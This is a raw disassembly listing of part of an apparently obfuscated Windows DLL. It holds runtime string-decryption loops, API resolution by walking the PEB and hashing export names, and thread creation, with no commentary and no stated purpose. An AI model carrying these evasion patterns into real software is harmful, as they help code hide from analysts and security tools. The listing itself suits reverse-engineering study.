pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm6
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp edx, 0x10
jl 0x1800a41a0
jmp 0x1800a42d0
lea r9, [rbp + 0x1db0]
mov r8d, esi
nop word [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x10
jl 0x1800a42a0
lea rdx, [rbp + 0xca8]
lea rcx, [rbp + 0x1db0]
call fcn.180002b60
test al, al
je 0x1800a42ee
mov byte [0x18023c188], 1
call fcn.180016870
addss xmm0, xmm8
call fcn.180025690
lea rcx, [rbp + 0xcb0]
call fcn.180016730
mov r8d, esi
movss xmm0, dword [rax]
mov eax, dword [0x1801b86d0]
movss dword [rbp + 0xcb8], xmm0
movsd xmm0, qword [0x1801b86c8]
mov dword [rbp + 0x1728], eax
movzx eax, byte [0x1801b86d4]
movsd qword [rbp + 0x1720], xmm0
mov byte [rbp + 0x172c], al
mov dword [rbp + 0xcbc], 0x42200000
cmp r12d, 2
jl 0x1800a443a
movdqa xmm0, xmmword [0x1801bab60]
movdqa xmm2, xmm13
movdqa xmm1, xmm0
movd eax, xmm7
punpckldq xmm1, xmm0
movdqa xmm6, xmm0
punpckhdq xmm0, xmm0
mov r8d, 8
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm6
pmulld xmm0, xmm12
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm11
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [0x1801b86c8]
xorps xmm1, xmm0
movdqa xmm0, xmm13
movd dword [rbp + 0x1720], xmm1
movdqa xmm1, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm14
punpckldq xmm1, xmm13
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x1724]
pmulld xmm0, xmm12
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x1724], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1720]
add r9, rax
nop word [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0xd
jl 0x1800a4450
lea rdx, [rbp + 0xcb8]
lea rcx, [rbp + 0x1720]
call fcn.180002b60
test al, al
je 0x1800a494f
lea r15, [0x18023d940]
mov rcx, r15
lea rdx, [rbp + 0x2f50]
call fcn.1800af390
mov eax, dword [0x1801b86d8]
lea rcx, [rbp + 0x148]
mov dword [rbp + 0x148], eax
movzx eax, word [0x1801b86dc]
xor byte [rbp + 0x149], 0x33
xor byte [rbp + 0x14a], 0x34
xor byte [rbp + 0x14b], 0x35
mov word [rbp + 0x14c], ax
xor al, 0x36
xor byte [rbp + 0x14d], 0x37
mov byte [rbp + 0x14c], al
mov rax, r13
mov byte [rbp + 0x148], 0x62
inc rax
cmp byte [rcx + rax], sil
jne 0x1800a4500
mov r14, qword [rbp + 0x2f68]
lea rcx, [rbp + 0x2f50]
mov rdi, qword [rbp + 0x2f50]
cmp r14, 0xf
mov rbx, qword [rbp + 0x2f60]
cmova rcx, rdi
cmp rbx, rax
jne 0x1800a4549
mov r8, rbx
lea rdx, [rbp + 0x148]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x1800a45d8
mov eax, dword [0x1801b86e0]
lea rcx, [rbp + 0x150]
mov dword [rbp + 0x150], eax
movzx eax, word [0x1801b86e4]
xor byte [rbp + 0x151], 0x33
xor byte [rbp + 0x152], 0x34
xor byte [rbp + 0x153], 0x35
mov word [rbp + 0x154], ax
xor al, 0x36
xor byte [rbp + 0x155], 0x37
mov byte [rbp + 0x154], al
mov rax, r13
mov byte [rbp + 0x150], 0x62
nop dword [rax + rax]
inc rax
cmp byte [rcx + rax], sil
jne 0x1800a45a0
cmp r14, 0xf
lea rcx, [rbp + 0x2f50]
cmova rcx, rdi
cmp rbx, rax
jne 0x1800a472e
mov r8, rbx
lea rdx, [rbp + 0x150]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x1800a472e
mov rbx, qword [0x180240630]
test rbx, rbx
jne 0x1800a4697
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rdi, qword [rax]
mov rbx, rdi
nop
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov r11d, dword [rax + r9 + 0x88]
add r11, r9
cmp r11, r9
je 0x1800a4678
mov r8d, dword [r11 + 0x18]
test r8d, r8d
je 0x1800a4678
mov r10d, dword [r11 + 0x20]
nop word [rax + rax]
dec r8d
lea rcx, [r9 + r8*4]
mov edx, dword [rcx + r10]
mov ecx, 0x83933c0a
add rdx, r9
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x1800a4673
nop dword [rax]
movsx eax, al
lea rdx, [rdx + 1]
xor eax, ecx
imul ecx, eax, 0x1000193
movzx eax, byte [rdx - 1]
test al, al
jne 0x1800a4650
cmp ecx, 0x51094f0d
je 0x1800a4710
test r8d, r8d
jne 0x1800a4630
mov rax, qword [rbx]
mov rbx, rax
cmp rax, rdi
je 0x1800a468d
cmp qword [rax + 0x30], rsi
jne 0x1800a4600
mov rbx, rsi
mov qword [0x180240630], rbx
movdqa xmm0, xmmword [0x1801bb010]
lea rcx, [rbp + 0x2c98]
movdqa xmm1, xmmword [0x1801baf50]
movdqu xmmword [rbp + 0x2c98], xmm0
mov byte [rbp + 0x2cc8], Ordinal_41
movdqa xmm0, xmmword [0x1801bad60]
movdqu xmmword [rbp + 0x2cb8], xmm0
mov byte [rbp + 0x2cc9], Ordinal_60
movdqu xmmword [rbp + 0x2ca8], xmm1
mov byte [rbp + 0x2cca], gethostname
mov byte [rbp + 0x2ccb], sil
mov byte [rbp + 0x2ccc], 1
call fcn.18007dcb0
xor r9d, r9d
lea r8, [0x1801a2c24]
lea rdx, [rbp + 0x2c98]
xor ecx, ecx
call rbx
jmp 0x1800a4943
mov ecx, dword [r11 + 0x24]
mov edx, dword [r11 + 0x1c]
add rcx, r9
add rdx, r9
movzx ecx, word [rcx + r8*2]
mov ebx, dword [rdx + rcx*4]
add rbx, r9
jmp 0x1800a4690
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x1800a47b5
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x1800a47b5
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r11 + r9*4]
mov r8d, dword [rdx + r10]
mov edx, 0x3fc50c
add r8, r10
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x1800a47b0
nop
movsx ecx, cl
lea r8, [r8 + 1]
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8 - 1]
test cl, cl
jne 0x1800a4790
cmp edx, 0x47343b26
je 0x1800a47ba
test r9d, r9d
jne 0x1800a4770
mov rax, qword [rax]
jmp 0x1800a4740
mov ecx, dword [rbx + 0x24]
mov edx, dword [rbx + 0x1c]
add rcx, r10
add rdx, r10
movzx ecx, word [rcx + r9*2]
mov eax, dword [rdx + rcx*4]
add rax, r10
call rax
lea rax, [rbp + 0x2da0]
mov dword [rbp + 0x2da0], 0x1f4
mov qword [rbp + 0x1dc8], rax
mov ecx, reloc.WS2_32.dll_recv
xor eax, eax
mov qword [rbp + 0x1dc0], r15
mov qword [rbp + 0x2e10], rax
call fcn.18019d1d4
test rax, rax
je 0x1800a4816
movups xmm0, xmmword [rbp + 0x1dc0]
movups xmmword [rax], xmm0
jmp 0x1800a4819
mov rax, rsi
lea rcx, [rbp + 0x1dd8]
mov qword [rbp + 0x2e10], rax
mov qword [rsp + 0x28], rcx
lea r8, [0x180057750]
xor ecx, ecx
mov dword [rsp + 0x20], esi
mov r9, rax
xor edx, edx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0x1dd0], rax
test rax, rax
je 0x1800a5abf
mov qword [rbp + 0x2e10], rsi
cmp dword [rbp + 0x1dd8], esi
je 0x1800a5ab4
movaps xmm0, xmmword [rbp + 0x1dd0]
lea rcx, [rsp + 0x60]
movdqa xmmword [rsp + 0x60], xmm0
call sub.MSVCP140.dll__Thrd_detach
test eax, eax
jne 0x1800a5ab4
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x1dd0], xmm0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x1800a4925
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x1800a4925
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + r11]
mov edx, 0xa2fbd119
add r8, r10
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x1800a4920
nop
movsx ecx, cl
lea r8, [r8 + 1]
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8 - 1]
test cl, cl
jne 0x1800a4900
cmp edx, 0x4d04b48b
je 0x1800a492a
test r9d, r9d
jne 0x1800a48e0
mov rax, qword [rax]
jmp 0x1800a48b0
mov ecx, dword [rbx + 0x24]
mov edx, dword [rbx + 0x1c]
add rcx, r10
add rdx, r10
movzx ecx, word [rcx + r9*2]
mov eax, dword [rdx + rcx*4]
add rax, r10
call rax
lea rcx, [rbp + 0x2f50]
call fcn.180068b30
call fcn.180006b10
call fcn.180013c40
movss xmm0, dword [0x180240268]
lea rcx, [rbp + 0xcc0]
addss xmm0, xmm9
mov dword [rbp + 0xcc0], 0x44070000
movss dword [rbp + 0xcc4], xmm0
call fcn.1800255f0
movzx ecx, word [0x1801b86ec]
lea rdx, [rbp + 0xcc8]
mov eax, dword [0x1801b86e8]
mov r9d, 8
mov dword [rbp + 0x2c0], eax
xor r8d, r8d
movzx eax, byte [0x1801b86ee]
xor byte [rbp + 0x2c1], 0x33
xor al, 0x38
xor byte [rbp + 0x2c2], 0x34
xor byte [rbp + 0x2c3], 0x35
mov word [rbp + 0x2c4], cx
xor cl, 0x36
xor byte [rbp + 0x2c5], 0x37
mov byte [rbp + 0x2c4], cl
lea rcx, [rbp + 0x2c0]
mov dword [rbp + 0xcc8], 0x43a00000
mov dword [rbp + 0xccc], 0x4405c000
mov byte [rbp + 0x2c0], Ordinal_79
mov byte [rbp + 0x2c6], al
call fcn.18000fbb0
lea rcx, [rbp + 0xcd0]
call fcn.180016730
movzx eax, byte [0x1801b86f8]
lea rdx, [rbp + 0xcd8]
movsd xmm0, qword [0x1801b86f0]
lea rcx, [rbp + 0xde0]
movsd qword [rbp + 0xde0], xmm0
xor al, 0x3a
xor byte [rbp + 0xde1], 0x33
xor r9d, r9d
xor byte [rbp + 0xde2], 0x34
mov r8b, 1
xor byte [rbp + 0xde3], 0x35
xor byte [rbp + 0xde4], 0x36
xor byte [rbp + 0xde5], 0x37
xor byte [rbp + 0xde6], 0x38
xor byte [rbp + 0xde7], 0x39
mov byte [rbp + 0xde8], al
mov dword [rbp + 0xcd8], 0x43a00000
mov dword [rbp + 0xcdc], 0x43ed8000
mov byte [rbp + 0xde0], 0x53
call fcn.180003bf0
call fcn.180006b10
call fcn.180013c40
jmp 0x1800a4ab6
movdqa xmm6, xmmword [0x1801bab60]
movss xmm8, dword [0x1801a17d4]
cmp dword [0x1802402a4], 3
jne 0x1800a5a08
mov ecx, dword [0x180240960]
mov rax, qword gs:[0x58]
mov edx, 4
mov rax, qword [rax + rcx*8]
mov eax, dword [rdx + rax]
cmp dword [0x1802404a0], eax
jg 0x1800a5a78
movss xmm0, dword [0x180240268]
lea rcx, [rbp + 0xce0]
addss xmm0, xmm9
mov dword [rbp + 0xce0], 0x43520000
movss dword [rbp + 0xce4], xmm0
call fcn.1800255f0
mov eax, dword [0x1801b86fc]
lea rdx, [rbp + 0xce8]
mov dword [rbp + 0x58], eax
lea rcx, [rbp + 0x58]
movzx eax, byte [0x1801b8700]
xor r9d, r9d
xor byte [rbp + 0x59], 0x33
xor al, 0x36
xor byte [rbp + 0x5a], 0x34
xor r8d, r8d
xor byte [rbp + 0x5b], 0x35
mov byte [rbp + 0x5c], al
mov dword [rbp + 0xcec], 0x4405c000
mov dword [rbp + 0xce8], 0x43a50000
mov byte [rbp + 0x58], Ordinal_79
call fcn.18000fbb0
mov eax, dword [0x1801b8710]
mov r8d, esi
movsd xmm0, qword [str.q___R]
movdqa xmm7, xmmword [rbp + 0x1de0]
mov dword [rbp + 0x1718], eax
movzx eax, byte [0x1801b8714]
mov byte [rbp + 0x171c], al
mov dword [rbp + 0x2d8], 0x43a00000
mov dword [rbp + 0x2dc], 0x43ed8000
movsd qword [rbp + 0x1710], xmm0
cmp r12d, 2
jl 0x1800a4c9b
movdqa xmm0, xmmword [0x1801bab60]
movdqa xmm2, xmm13
movdqa xmm1, xmm0
movd eax, xmm7
punpckldq xmm1, xmm0
movdqa xmm6, xmm0
punpckhdq xmm0, xmm0
mov r8d, 8
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm6
pmulld xmm0, xmm12
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm11
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [str.q___R]
xorps xmm1, xmm0
movdqa xmm0, xmm13
movd dword [rbp + 0x1710], xmm1
movdqa xmm1, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm14
punpckldq xmm1, xmm13
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x1714]
pmulld xmm0, xmm12
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x1714], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1710]
add r9, rax
nop dword [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0xd
jl 0x1800a4cb0
xor r9d, r9d
lea rdx, [rbp + 0x2d8]
mov r8b, 1
lea rcx, [rbp + 0x1710]
call fcn.180003bf0
cmp byte [reloc.WS2_32.dll_gethostname], sil
mov rax, qword [str.qZS_PK9]
mov qword [rbp + 0x2f0], rax
mov dword [rbp + 0x2e0], 0x43b90000
mov dword [rbp + 0x2e4], 0x43c58000
je 0x1800a4e50
cmp r12d, 2
jl 0x1800a4e14
movdqa xmm0, xmmword [0x1801bab60]
movdqa xmm1, xmm0
movd eax, xmm7
punpckldq xmm1, xmm0
movdqa xmm6, xmm0
punpckhdq xmm0, xmm0
movdqa xmm2, xmm6
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x2f0]
pmulld xmm0, xmm12
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
xorps xmm2, xmm1
movdqa xmm1, xmm13
pmuldq xmm0, xmm14
punpckldq xmm1, xmm13
pmuldq xmm1, xmm14
movd dword [rbp + 0x2f0], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x2f4]
pmulld xmm0, xmm12
psubd xmm13, xmm0
movd xmm0, eax
andps xmm13, xmm11
packuswb xmm13, xmm13
packuswb xmm13, xmm13
paddb xmm13, xmm0
xorps xmm13, xmm1
movd dword [rbp + 0x2f4], xmm13
jmp 0x1800a4e50
lea r9, [rbp + 0x2f0]
mov r8d, esi
nop
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 8
jl 0x1800a4e20
xor r9d, r9d
lea rdx, [rbp + 0x2e0]
mov r8b, 1
lea rcx, [rbp + 0x2f0]
call fcn.18000fbb0
mov rax, qword [0x1802401a8]
mov r14d, esi
mov rdx, qword [0x1802401a0]
sub rax, rdx
sar rax, 5
test rax, rax
je 0x1800a4fc3
mov r15, rsi
nop dword [rax]
cmp dword [0x18023c524], r14d
lea rbx, [rdx + r15]
mov dword [rbp + 0x2f8], esi
mov rcx, rbx
sete dl
mov dword [rbp + 0x2fc], esi
cmp qword [rbx + 0x18], 0xf
jbe 0x1800a4eb7
mov rcx, qword [rbx]
lea r9, [rbp + 0x2f8]
xor r8d, r8d
call fcn.180008210
test al, al
je 0x1800a4f9b
mov qword [rbp + 0x2970], rsi
xorps xmm0, xmm0
movups xmmword [rbp + 0x2960], xmm0
mov qword [rbp + 0x2978], rsi
cmp qword [rbx + 0x18], 0xf
mov rdi, qword [rbx + 0x10]
jbe 0x1800a4ef4
mov rbx, qword [rbx]
movabs rcx, 0x7fffffffffffffff
cmp rdi, rcx
ja 0x1800a5aae
cmp rdi, 0xf
ja 0x1800a4f2b
mov qword [rbp + 0x2970], rdi
mov qword [rbp + 0x2978], reloc.WS2_32.dll_ntohs
movups xmm0, xmmword [rbx]
movups xmmword [rbp + 0x2960], xmm0
jmp 0x1800a4f88
mov rax, rdi
or rax, 0xf
cmp rax, rcx
jbe 0x1800a4f3c
mov rax, rcx
jmp 0x1800a4f49
cmp rax, 0x16
mov ecx, reloc.WLDAP32.dll_Ordinal_22
cmovb rax, rcx
lea rdx, [rsp + 0x48]
mov qword [rsp + 0x48], rax
lea rcx, [rbp + 0x2960]
call fcn.180054a40
mov rcx, qword [rsp + 0x48]
lea r8, [rdi + 1]
mov qword [rbp + 0x2978], rcx
mov rdx, rbx
mov rcx, rax
mov qword [rbp + 0x2960], rax
mov qword [rbp + 0x2970], rdi
call sub.VCRUNTIME140.dll_memcpy
lea rdx, [0x1801ff530]
lea rcx, [rbp + 0x2960]
call fcn.1800ca3d0
mov rcx, qword [0x1802401a8]
inc r14d
mov rdx, qword [0x1802401a0]
add r15, 0x20
sub rcx, rdx
movsxd rax, r14d
sar rcx, 5
cmp rax, rcx
jb 0x1800a4e90
call fcn.180013c40
call fcn.180006b10
call fcn.180013c40
movss xmm0, dword [0x180240268]
lea rcx, [rbp + 0x8b0]
addss xmm0, xmm9
mov dword [rbp + 0x8b0], 0x44070000
movss dword [rbp + 0x8b4], xmm0
call fcn.1800255f0
movzx ecx, word [0x1801b8724]
lea rdx, [rbp + 0x8b8]
mov eax, dword [0x1801b8720]
mov r9d, 8
mov dword [rbp + 0x2c8], eax
xor r8d, r8d
movzx eax, byte [0x1801b8726]
xor byte [rbp + 0x2c9], 0x33
xor al, 0x38
xor byte [rbp + 0x2ca], 0x34
xor byte [rbp + 0x2cb], 0x35
mov word [rbp + 0x2cc], cx
xor cl, 0x36
xor byte [rbp + 0x2cd], 0x37
mov byte [rbp + 0x2cc], cl
lea rcx, [rbp + 0x2c8]
mov dword [rbp + 0x8b8], 0x43a00000
mov dword [rbp + 0x8bc], 0x4405c000
mov byte [rbp + 0x2c8], Ordinal_79
mov byte [rbp + 0x2ce], al
call fcn.18000fbb0
lea rcx, [rbp + 0x8c0]
call fcn.180016730
movzx eax, byte [0x1801b8730]
lea rdx, [rbp + 0x8c8]
movsd xmm0, qword [str.aV_A_Y_J:]
lea rcx, [rbp + 0xdf0]
movsd qword [rbp + 0xdf0], xmm0
xor al, 0x3a
xor byte [rbp + 0xdf1], 0x33
xor r9d, r9d
xor byte [rbp + 0xdf2], 0x34
mov r8b, 1
xor byte [rbp + 0xdf3], 0x35
xor byte [rbp + 0xdf4], 0x36
xor byte [rbp + 0xdf5], 0x37
xor byte [rbp + 0xdf6], 0x38
xor byte [rbp + 0xdf7], 0x39
mov byte [rbp + 0xdf8], al
mov dword [rbp + 0x8c8], 0x43a00000
mov dword [rbp + 0x8cc], 0x43ed8000
mov byte [rbp + 0xdf0], 0x53
call fcn.180003bf0
cmp byte [0x1801b8741], sil
movsd xmm0, qword [str.qZS_P]
movzx eax, word [0x1801b8740]
movsd qword [rbp + 0x1080], xmm0
mov word [rbp + 0x1088], ax
je 0x1800a517f
xor byte [rbp + 0x1081], 0x33
xor byte [rbp + 0x1082], 0x34
xor byte [rbp + 0x1083], 0x35
xor byte [rbp + 0x1084], 0x36
xor byte [rbp + 0x1085], 0x37
xor byte [rbp + 0x1086], 0x38
xor byte [rbp + 0x1087], 0x39
xor byte [rbp + 0x1088], 0x3a
xor byte [rbp + 0x1089], 0x3b
mov byte [rbp + 0x1080], 0x43
lea rdi, [0x1802404b0]
mov qword [rsp + 0x28], rsi
mov rdx, rdi
mov qword [rsp + 0x20], rsi
xor r9d, r9d
lea rcx, [rbp + 0x1080]
mov r8d, 0x40
call fcn.18004a5d0
call fcn.180016870
addss xmm0, xmm8
call fcn.180025690
lea rcx, [rbp + 0x8d0]
call fcn.180016730
cmp byte [0x1801b8759], sil
movups xmm1, xmmword [str.UQ]
movss xmm0, dword [rax]
movzx eax, word [0x1801b8758]
mov word [rbp + 0x2188], ax
movss dword [rbp + 0x8d8], xmm0
mov dword [rbp + 0x8dc], 0x42200000
movups xmmword [rbp + 0x2178], xmm1
je 0x1800a5350
mov r8d, esi
cmp r12d, 2
jl 0x1800a5311
movdqa xmmword [rsp + 0x60], xmm7
lea rcx, [rbp + 0x217c]
mov edx, dword [rsp + 0x60]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm6
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm6
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x1800a5220
cmp r8d, 0x12
jge 0x1800a5350
movsxd rax, r8d
lea r9, [rbp + 0x2178]
add r9, rax
nop
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x12
jl 0x1800a5320
lea rdx, [rbp + 0x8d8]
lea rcx, [rbp + 0x2178]
call fcn.180002b60
test al, al
je 0x1800a53ab
xorps xmm0, xmm0
xorps xmm1, xmm1
movups xmmword [rbp + 0x2860], xmm0
mov r8, r13
movdqu xmmword [rbp + 0x2870], xmm1
nop
inc r8
cmp byte [rdi + r8], sil
jne 0x1800a5380
mov rdx, rdi
lea rcx, [rbp + 0x2860]
call fcn.180001340
lea rdx, [0x1801ff530]
lea rcx, [rbp + 0x2860]
call fcn.1800ca3d0
call fcn.180016870
addss xmm0, xmm8
call fcn.180025690
lea rcx, [rbp + 0x8f0]
call fcn.180016730
cmp byte [0x1801b8773], sil
movups xmm1, xmmword [str.qAQTBR]
movss xmm0, dword [rax]
mov eax, dword [0x1801b8770]
movss dword [rbp + 0x8f8], xmm0
mov dword [rbp + 0x2380], eax
mov dword [rbp + 0x8fc], 0x42200000
movups xmmword [rbp + 0x2370], xmm1
je 0x1800a5550
mov r8d, esi
cmp r12d, 2
jl 0x1800a5512
movdqa xmmword [rsp + 0x60], xmm7
lea rcx, [rbp + 0x2374]
mov edx, dword [rsp + 0x60]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm6
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm6
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x1800a5421
cmp r8d, 0x14
jge 0x1800a5550
movsxd rax, r8d
lea r9, [rbp + 0x2370]
add r9, rax
nop
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x14
jl 0x1800a5520
lea rdx, [rbp + 0x8f8]
lea rcx, [rbp + 0x2370]
call fcn.180002b60
test al, al
je 0x1800a55a2
lea rdx, [0x18023bf20]
lea rcx, [rbp + 0x2880]
call fcn.1800631f0
lea rdx, [0x18023bf00]
mov rbx, rax
lea rcx, [rbp + 0x28a0]
call fcn.1800631f0
mov r8, rbx
lea rcx, [0x1801ff530]
mov rdx, rax
call fcn.180078490
call fcn.180016870
addss xmm0, xmm8
call fcn.180025690
movss xmm0, dword [0x1801a17c4]
call fcn.180008960
call fcn.180016870
